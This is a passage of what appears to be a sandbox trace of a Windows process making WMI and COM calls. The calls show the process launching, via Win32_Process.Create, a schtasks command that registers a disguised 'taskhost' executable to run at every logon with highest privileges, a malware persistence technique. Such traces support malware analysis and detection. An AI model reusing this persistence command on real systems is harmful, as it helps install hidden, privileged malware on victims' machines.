strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa29d30, ppCallResult=0x0) returned 0x0 [0142.486] IWbemClassObject:GetMethod (in: This=0x1aa29d30, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa2a0a0, ppOutSignature=0x1bb7e690*=0x1aa2a410) returned 0x0 [0142.486] IWbemClassObject:SpawnInstance (in: This=0x1aa2a0a0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa19290) returned 0x0 [0142.487] IWbemClassObject:Get (in: This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274e978*=0, plFlavor=0x274e97c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274e978*=8, plFlavor=0x274e97c*=32) returned 0x0 [0142.487] IWbemClassObject:Get (in: This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274e978*=8, plFlavor=0x274e97c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274e978*=8, plFlavor=0x274e97c*=32) returned 0x0 [0142.487] IWbemClassObject:Put (This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"taskhost\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0142.487] IWbemClassObject:Get (in: This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ea08*=0, plFlavor=0x274ea0c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ea08*=13, plFlavor=0x274ea0c*=32) returned 0x0 [0142.487] IWbemClassObject:Get (in: This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ea08*=13, plFlavor=0x274ea0c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ea08*=13, plFlavor=0x274ea0c*=32) returned 0x0 [0142.487] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa29650) returned 0x0 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0142.488] IUnknown:AddRef (This=0x1aa29650) returned 0x3 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa29658) returned 0x0 [0142.488] IMarshal:GetUnmarshalClass (in: This=0x1aa29658, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.488] IUnknown:Release (This=0x1aa29658) returned 0x3 [0142.488] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0142.488] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0142.488] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0142.488] IUnknown:Release (This=0x1aa29650) returned 0x2 [0142.489] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0142.489] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0142.489] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0142.489] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0142.489] IUnknown:QueryInterface (in: This=0x1aa29650, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0142.489] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0142.489] IUnknown:AddRef (This=0x1aa29650) returned 0x3 [0142.489] IWbemClassObject:Put (This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa29650, varVal2=0x0), Type=0) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9be0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9be0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9be0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9be0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9be0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0142.490] IWbemServices:ExecMethod (in: This=0x1bce9370, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa19290, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa19540, ppCallResult=0x0) returned 0x0 [0142.693] IWbemClassObject:Get (in: This=0x1aa19540, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ed20*=0, plFlavor=0x274ed24*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfe4, varVal2=0x0), pType=0x274ed20*=19, plFlavor=0x274ed24*=0) returned 0x0 [0142.693] IWbemClassObject:Get (in: This=0x1aa19540, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274ed20*=19, plFlavor=0x274ed24*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfe4, varVal2=0x0), pType=0x274ed20*=19, plFlavor=0x274ed24*=0) returned 0x0 [0142.694] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0142.694] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0142.695] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0142.695] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.696] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce7840) returned 0x0 [0142.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7840, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0142.696] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7840, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcda060) returned 0x0 [0142.696] WbemDefPath:IUnknown:Release (This=0x1bce7840) returned 0x0 [0142.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcda060) returned 0x0 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0142.697] WbemDefPath:IUnknown:AddRef (This=0x1bcda060) returned 0x3 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce7880) returned 0x0 [0142.697] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7880, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.697] WbemDefPath:IUnknown:Release (This=0x1bce7880) returned 0x3 [0142.697] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0142.697] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0142.697] WbemDefPath:IUnknown:Release (This=0x1bcda060) returned 0x2 [0142.697] WbemDefPath:IUnknown:Release (This=0x1bcda060) returned 0x1 [0142.697] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0142.697] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda060, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcda060) returned 0x0 [0142.697] WbemDefPath:IUnknown:AddRef (This=0x1bcda060) returned 0x3 [0142.697] WbemDefPath:IUnknown:Release (This=0x1bcda060) returned 0x2 [0142.697] WbemDefPath:IWbemPath:SetText (This=0x1bcda060, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0142.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda060, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda060, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0142.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda060, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0142.698] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda060, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda060, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.698] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda060, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.698] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0142.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0142.698] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0142.698] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.699] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce78c0) returned 0x0 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce78c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0142.700] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce78c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcda120) returned 0x0 [0142.700] WbemDefPath:IUnknown:Release (This=0x1bce78c0) returned 0x0 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcda120) returned 0x0 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0142.700] WbemDefPath:IUnknown:AddRef (This=0x1bcda120) returned 0x3 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce7900) returned 0x0 [0142.700] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.700] WbemDefPath:IUnknown:Release (This=0x1bce7900) returned 0x3 [0142.700] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0142.700] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0142.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0142.700] WbemDefPath:IUnknown:Release (This=0x1bcda120) returned 0x2 [0142.701] WbemDefPath:IUnknown:Release (This=0x1bcda120) returned 0x1 [0142.701] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0142.701] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda120, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcda120) returned 0x0 [0142.701] WbemDefPath:IUnknown:AddRef (This=0x1bcda120) returned 0x3 [0142.701] WbemDefPath:IUnknown:Release (This=0x1bcda120) returned 0x2 [0142.701] WbemDefPath:IWbemPath:SetText (This=0x1bcda120, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda120, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda120, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda120, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda120, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda120, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda120, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda120, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0142.701] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.701] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0142.701] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0142.701] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0142.701] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.703] 